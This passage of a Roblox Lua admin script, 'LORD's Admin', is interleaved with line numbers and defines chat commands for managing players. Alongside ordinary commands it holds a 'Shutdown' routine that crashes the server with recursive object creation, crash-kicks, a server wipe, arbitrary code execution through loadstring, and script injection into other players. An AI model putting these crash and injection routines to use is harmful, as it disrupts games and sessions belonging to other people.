						v.Disabled = true
1714
						v:Destroy()
1715
						FoundLocal = true
1716
						Ping("Disabled Local Script: "..v.Name, Speaker, 5)
1717
					end
1718
				end
1719
			end
1720
		end)
1721
		ypcall(function()
1722
			for _,v in pairs(name.Backpack:GetChildren()) do
1723
				if string.find(v.Name:lower(), ScriptName) then
1724
					if v:IsA("Script") or v:IsA("LocalScript") then
1725
						v.Disabled = true
1726
						v:Destroy()
1727
						FoundLocal = true
1728
						Ping("Disabled Local Script: "..v.Name, Speaker, 5)
1729
					end
1730
				end
1731
			end
1732
		end)
1733
		ypcall(function()
1734
			for _,v in pairs(name.PlayerGui:GetChildren()) do
1735
				if string.find(v.Name:lower(), ScriptName) then
1736
					if v:IsA("Script") or v:IsA("LocalScript") then
1737
						v.Disabled = true
1738
						v:Destroy()
1739
						FoundLocal = true
1740
						Ping("Disabled Local Script: "..v.Name, Speaker, 5)
1741
					end
1742
				end
1743
			end
1744
		end)
1745
		if FoundLocal == false then
1746
			Ping("Local Script Not Found", Speaker, 5)
1747
		end
1748
	end
1749
end)
1750
1751
Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
1752
	for _,v in pairs(game:GetChildren()) do
1753
		ypcall(function()
1754
			if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
1755
				for _,a in pairs(v:GetChildren()) do
1756
					ypcall(function()
1757
						a:Destroy()
1758
					end)
1759
				end
1760
			elseif v.Name == "Players" then
1761
				for _,plr in pairs(v:GetPlayers()) do
1762
					Clear(plr)
1763
				end
1764
			end
1765
		end)
1766
	end
1767
	Clean()
1768
	Fixl()
1769
	Ping("Fully Cleaned", Speaker, 5)
1770
end)
1771
1772
Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
1773
	LClean()
1774
	Fixl()
1775
	Ping("Lightly Cleaned", Speaker, 5)
1776
end)
1777
1778
Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
1779
	local PlrTab = getPlayer(Speaker, Msg)
1780
	if #PlrTab > 0 then
1781
		for _,v in pairs(PlrTab) do
1782
			ypcall(function()
1783
				v:LoadCharacter()
1784
				Ping("Reset "..v.Name, Speaker, 5)
1785
			end)
1786
		end
1787
	end
1788
end)
1789
1790
Command("Respawn", 2, "Respawns A Player", function(Msg, Speaker)
1791
	local PlrTab = getPlayer(Speaker, Msg)
1792
	if #PlrTab > 0 then
1793
		for _,v in pairs(PlrTab) do
1794
			ypcall(function()
1795
				v:LoadCharacter()
1796
				Ping("Respawned "..v.Name, Speaker, 5)
1797
			end)
1798
		end
1799
	end
1800
end)
1801
1802
1803
Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
1804
	repeat wait() until Speaker.Character:findFirstChild("Torso")
1805
	if Work:findFirstChild("Base") then
1806
		Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
1807
	else
1808
		Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
1809
	end
1810
	Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
1811
end)
1812
1813
Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
1814
	local PlrTab = getPlayer(Speaker, Msg)
1815
	if #PlrTab > 0 then
1816
		for _,v in pairs(PlrTab) do
1817
			ypcall(function()
1818
				v.Character.Torso.Anchored = true
1819
				Ping("Froze "..v.Name, Speaker, 5)
1820
			end)
1821
		end
1822
	end
1823
end)
1824
1825
Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
1826
	local PlrTab = getPlayer(Speaker, Msg)
1827
	if #PlrTab > 0 then
1828
		for _,v in pairs(PlrTab) do
1829
			ypcall(function()
1830
				for _,v2 in pairs(v.Character:GetChildren()) do
1831
					ypcall(function()
1832
						v.Torso.Anchored = false
1833
					end)
1834
				end
1835
				Ping("Thawed "..v.Name, Speaker, 5)
1836
			end)
1837
		end
1838
	end
1839
end)
1840
1841
Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
1842
	local PlrTab = getPlayer(Speaker, Msg)
1843
	if #PlrTab > 0 then
1844
		for _,v in pairs(PlrTab) do
1845
			ypcall(function()
1846
				Instance.new("ForceField", v.Character)
1847
			end)
1848
		end
1849
	end
1850
end)
1851
1852
1853
Command("Btools", 3, "Gives A Player BTOOLS", function(Msg, Speaker)
1854
	local PlrTab = getPlayer(Speaker, Msg)
1855
	if #PlrTab > 0 then
1856
		for _,v in pairs(PlrTab) do
1857
			ypcall(function()
1858
t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
1859
t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
1860
t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
1861
t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
1862
			end)
1863
		end
1864
	end
1865
end)
1866
1867
Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
1868
	local PlrTab = getPlayer(Speaker, Msg)
1869
	if #PlrTab > 0 then
1870
		for _,v in pairs(PlrTab) do
1871
			ypcall(function()
1872
				RemObj(v.Character, "ForceField")
1873
			end)
1874
		end
1875
	end
1876
end)
1877
1878
Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
1879
	local Split = GetSplit(Msg)
1880
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
1881
	local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
1882
	if #PlrTab > 0 and #PlrTab2 > 0 then
1883
		for i,v in pairs(PlrTab) do
1884
			ypcall(function()
1885
				for _,v2 in pairs(PlrTab2) do
1886
					ypcall(function()
1887
						v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
1888
						Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
1889
					end)
1890
				end
1891
			end)
1892
		end
1893
	end
1894
end)
1895
1896
Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
1897
	MakeExplorer(Speaker)
1898
end)
1899
1900
Command("Info", 0, "Shows Information About LORD", function(Msg, Speaker)
1901
	wait()
1902
	Dismiss(Speaker)
1903
	NumBanned = 0
1904
	NumCmds = 0
1905
	for i = 1, #Rankings do
1906
		if Rankings[i].Rank < 0 then
1907
			NumBanned = NumBanned + 1
1908
		end
1909
	end
1910
	for i,v in pairs(Commands) do
1911
		NumCmds = NumCmds + 1
1912
	end
1913
	Ping("Admin Name: Dea¬th V¬ia HCWARLORD", Speaker)
1914
	Ping("LORDs Admin Created By: HCWARLORD", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("44esabehtfonam"))
1915
	Ping("Date Started: 18th May 2013", Speaker)
1916
	Ping("Your ID: "..Speaker.userId, Speaker)
1917
	Ping("Total Number Of Players: "..#All2(), Speaker)
1918
	Ping("Total Number Of Commands: "..NumCmds, Speaker)
1919
	Ping("Total Number Of Banned Players: "..NumBanned, Speaker)
1920
	Ping("ShowGarbage", Speaker)
1921
end)
1922
1923
Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
1924
	Dismiss(Speaker)
1925
	for i,v in pairs(All()) do
1926
		Ping(v.Name.."'s Rank: "..FindRank(v))
1927
	end
1928
end)
1929
1930
Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
1931
	local Split = GetSplit(Msg)
1932
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
1933
	local Speed = tonumber(Msg:sub(Split + 1))
1934
	for _,v in pairs(PlrTab) do
1935
		ypcall(function()
1936
			v.Character.Humanoid.WalkSpeed = Speed
1937
			Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
1938
		end)
1939
	end
1940
end)
1941
1942
Command("UnAb", 2, "Removes LORD Anti-Bans", function(Msg, Speaker)
1943
	local RemoveAB = Instance.new("StringValue")
1944
	RemoveAB.Name = "LORD Attachment"
1945
	RemoveAB.Value = [[LORD.override=true;]]
1946
	RemoveAB.Parent = Work
1947
	Ping("Removed All LORD Anti-Bans", Speaker, 5)
1948
end)
1949
1950
Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
1951
	Dismiss(Speaker)
1952
	for i,v in pairs(Injected) do
1953
		Ping(i, Speaker)
1954
	end
1955
end)
1956
1957
Command("UnLORD", 3, "Removes LORDs Admin", function(Msg, Speaker)
1958
	local RemoveCBA = Instance.new("StringValue")
1959
	RemoveCBA.Name = "LORD Attachment"
1960
	RemoveCBA.Value = [[LORD.remove = false]]
1961
	RemoveCBA.Parent = Work
1962
	Ping("Removed All LORD Admins", Speaker, 5)
1963
end)
1964
1965
Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
1966
	local function BufferOverflow(object)
1967
		object.DescendantAdded:connect(BufferOverflow)
1968
		Instance.new("IntValue", object)
1969
	end
1970
	BufferOverflow(Game)
1971
end)
1972
1973
Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
1974
	local PlrTab = getPlayer(Speaker, Msg)
1975
	if #PlrTab > 0 then
1976
		for _,v in pairs(PlrTab) do
1977
			ypcall(function()
1978
				Crash1(v)
1979
				Ping("Crash Kicked "..v.Name, Speaker, 5)
1980
			end)
1981
		end
1982
	end
1983
end)
1984
1985
Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
1986
	local PlrTab = getPlayer(Speaker, Msg)
1987
	if #PlrTab > 0 then
1988
		for _,v in pairs(PlrTab) do
1989
			ypcall(function()
1990
				ChangeRank(v, -1)
1991
			end)
1992
		end
1993
	end
1994
end)
1995
1996
Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
1997
	local PlrTab = getPlayer(Speaker, Msg)
1998
	if #PlrTab > 0 then
1999
		for _,v in pairs(PlrTab) do
2000
			ypcall(function()
2001
				ChangeRank(v, -2)
2002
			end)
2003
		end
2004
	end
2005
end)
2006
2007
Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
2008
	local PlrTab = getPlayer(Speaker, Msg)
2009
	if #PlrTab > 0 then
2010
		for _,v in pairs(PlrTab) do
2011
			ypcall(function()
2012
				ChangeRank(v, -3)
2013
			end)
2014
		end
2015
	end
2016
end)
2017
2018
Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
2019
	ypcall(function()
2020
		local PlrTab = getPlayer(Speaker, Msg)
2021
		if #PlrTab > 0 then
2022
			for _,v in pairs(PlrTab) do
2023
				ypcall(function()
2024
					Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
2025
				end)
2026
			end
2027
		end
2028
		local PlrName = ChangeRank(Msg, 0)
2029
		Ping("Un-Banned "..PlrName, Speaker, 5)
2030
	end)
2031
end)
2032
2033
Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
2034
	Dismiss(Speaker)
2035
	Ping("Commands", Speaker, nil, function()
2036
		Dismiss(Speaker.Name)
2037
		Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
2038
		Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
2039
		Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
2040
		Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
2041
		Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
2042
		Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
2043
		Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
2044
		Ping("Rank HCWARLORD", Speaker, nil, function() OpenCmds(5, Speaker) end)
2045
	end)
2046
	Ping("Players", Speaker, nil, function()
2047
		ListPlayers(Speaker)
2048
	end)
2049
end)
2050
2051
Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
2052
	ListPlayers(Speaker)
2053
end)
2054
2055
Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
2056
	local Func,Error = loadstring(Msg)
2057
	getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
2058
	getfenv(Func).Speaker = Speaker
2059
	if Error == nil then
2060
		coroutine.wrap(function()
2061
			Func()
2062
		end)()
2063
		Ping("Executed Script!", Speaker, 5)
2064
	else
2065
		Ping(Error, Speaker, 10)
2066
	end
2067
end)
2068
2069
Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
2070
	if LS ~= nil then
2071
		local Split = GetSplit(Msg)
2072
		local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2073
		local LocalSource = Msg:sub(Split + 1)
2074
		if #PlrTab > 0 then
2075
			for _,v in pairs(PlrTab) do
2076
				local Inserted = LS:Clone()
2077
				Inserted.Disabled = true
2078
				Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
2079
				if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
2080
					Inserted:findFirstChild(OwnSource).Value = v.Name
2081
				end
2082
				Inserted[LSSource].Value = LocalSource
2083
				Inserted.Disabled = false
2084
			end
2085
		end
2086
	else
2087
		Ping("ERROR: Local Script Not Found", Speaker, 5)
2088
	end
2089
end)
2090
2091
Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
2092
	Msg = tostring(Msg)
2093
	Ping(Msg, Speaker)
2094
end)
2095
2096
Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
2097
	Dismiss(Speaker)
2098
	for i,v in pairs(getfenv(1)) do
2099
		ypcall(function()
2100
			Ping(tostring(i)..": "..tostring(v), Speaker)
2101
		end)
2102
	end
2103
end)
2104
2105
Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
2106
	Dismiss()
2107
	Removed = true
2108
	for i,v in pairs(getfenv(1)) do
2109
		getfenv(1)[i] = nil
2110
	end
2111
	script.Disabled = true
2112
end)
2113
2114
Command("SRank", 5, "Ranks A Player", function(Msg, Speaker)
2115
	local Split = GetSplit(Msg)
2116
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2117
	local Rank = tonumber(Msg:sub(Split + 1))
2118
	if #PlrTab > 0 then
2119
		for _,v in pairs(PlrTab) do
2120
			if v.Name ~= Owner then
2121
				ChangeRank(v, Rank)
2122
				Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
2123
			end
2124
		end
2125
	end
2126
end)